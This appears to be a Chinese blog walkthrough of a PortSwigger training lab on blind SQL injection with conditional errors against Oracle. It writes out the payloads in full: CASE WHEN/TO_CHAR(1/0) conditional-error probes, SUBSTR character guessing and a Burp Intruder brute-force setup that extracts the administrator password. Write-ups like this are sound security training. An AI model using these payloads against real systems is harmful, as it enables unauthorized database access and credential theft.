从业者-盲注-条件错误
# 实验室:带有条件错误的SQL盲注入
# 题目
此实验室包含一个SQL盲注 (opens new window)漏洞。应用程序通过跟踪 Cookie 进行分析,并执行包含所提交 Cookie 值的SQL查询。
不会返回 SQL 查询的结果,并且应用程序不会根据查询是否返回任何行,而做出任何不同的响应。如果 SQL 查询导致错误,则应用程序将返回自定义错误消息。
数据库包含另一个名为users
的表,其中的列名为username
和password
。您需要利用SQL盲注 (opens new window)漏洞获取administrator
用户的密码。
要解决实验室问题,请以administrator
用户身份登录。
提示
本次实验使用 Oracle 数据库。详细信息请参阅 SQL注入备忘单 (opens new window)。
- name: 实验室-从业者
desc: 带有条件错误的SQL盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实验室
根据题意,可得实验目标:
- 在 Cookie 中存在 SQL 注入漏洞,利用 SQL 盲注技术,构造带有条件错误的 SQL 注入查询语句;
- 从 users 表中查询 administrator 用户的用户名和密码,并以该用户身份登录应用程序。
点击 “Access the lab” 进入实验室
实验室页面如下
该实验需要用到Burp Suite
,拦截实验室首页的 HTTP 数据包,并使用 Repeater
对数据包进行重发
在TrackingId
参数的后方添加一个单引号'
,应用程序返回了 500 状态码和错误信息
通过 UNION SELECT 查询空字符,判断原始查询列数(此处列数为 1)
(注意:题目中说了 本次实验使用的是 Oracle 数据库软件,所以在 SQL 查询的时候 需要使用 FROM 指定一个表)
' UNION SELECT NULL FROM dual-- qwe

判断列数据类型 是否是 字符串类型 或 是否兼容字符串数据
' UNION SELECT 'abc' FROM dual-- qwe

尝试从 users 表查询 administrator 用户的密码
' UNION SELECT password FROM users WHERE username = 'administrator'-- qwe
应用程序返回 200 状态码,说明查询成功
查阅 SQL注入备忘单 (opens new window),找到 Oracle 数据库的查询语法
- 在进行数学运算时,需要使用函数
TO_CHAR
,例如TO_CHAR(1/0)
- 必须使用
FROM
关键字指定一个表

尝试通过 UNION SELECT 的方式执行上述 SQL 查询语句:
- 如果
1<10
运算成立,则进行TO_CHAR(1/0)
操作,此时会抛出 被零除错误 - 反之,返回一个
NULL
,什么都不做
' UNION SELECT CASE WHEN (1<10) THEN TO_CHAR(1/0) ELSE NULL END FROM dual-- qwe
1 在数学运算中 肯定是小于 10 的,所以此时会抛出错误信息,应用程序返回 500 状态码
我们将规则1<10
改为1>10
,查询应该返回NULL
,而应用程序应该返回 200 状态码(因为 1 不大于 10)
' UNION SELECT CASE WHEN (1>10) THEN TO_CHAR(1/0) ELSE NULL END FROM dual-- qwe
应用程序返回了 200 状态码,说明我们构造的查询语句 按预期执行了
修改上述查询语句,开始猜测 administrator 用户的密码:
- 如果
username
为administrator
- 并且
password
的第一个字符 大于a
- 则抛出 被零除错误
' UNION SELECT CASE WHEN (username = 'administrator' AND SUBSTR(password, 1, 1) > 'a') THEN TO_CHAR(1/0) ELSE NULL END FROM users-- qwe
应用程序返回 500 状态码,说明 password 的第一个字符 处于字母 a 以上
将> 'a'
改为< 'a'
' UNION SELECT CASE WHEN (username = 'administrator' AND SUBSTR(password, 1, 1) < 'a') THEN TO_CHAR(1/0) ELSE NULL END FROM users-- qwe
应用程序返回 200 状态码,说明 password 的第一个字符 不处于字母 a 以下的范围内
构造的 SQL 查询语句按预期执行了

# 利用 BurpSuite 使SQL盲注自动化
首先判断 password 长度
' UNION SELECT CASE WHEN (username = 'administrator' AND length(password) = 10) THEN TO_CHAR(1/0) ELSE NULL END FROM users-- qwe
应用程序返回 200 OK,说明 password 的长度不等于 10
再次判断长度,应用程序返回 500 错误,说明 password 的长度等于 20
将 HTTP 数据包转到Intruder
功能,将第一个1
和字符a
添加到选区
(注意:记得将比较运算符改为=
,而不是<
或>
)
' UNION SELECT CASE WHEN (username = 'administrator' AND SUBSTR(password, 1, 1) = 'a') THEN TO_CHAR(1/0) ELSE NULL END FROM users-- qwe

攻击载荷选择Cluster bomb

设置第一个 payload:
- 类型:Numbers
- 范围:1 至 20,步长为 1

设置第二个 payload:
- 类型:Brute forcer
- 最小长度:1
- 最大长度:1
- 其余默认

点击 “Start attack” 开始攻击
如果你使用的是BurpSuite 社区版,则会有相关提示,不用理会,点击 OK
如果成功猜测出 密码的某个字符,则应用程序会返回 500 以及错误信息。
我们可以通过 500 和 200 状态码的差异,来判断猜测是否成功。
如图,密码的第 17 位字符为小写字母 a
等待 720 个攻击载荷全部运行完毕,通过点击标题栏 进行排序,得到 20 个结果。
将它们组合起来,得到密码:mmt4dsg25e25d2ibao9t
访问登录页面,输入用户名administrator
,以及刚刚获得的密码mmt4dsg25e25d2ibao9t
,点击 “Log in”。
登录成功,实验完成。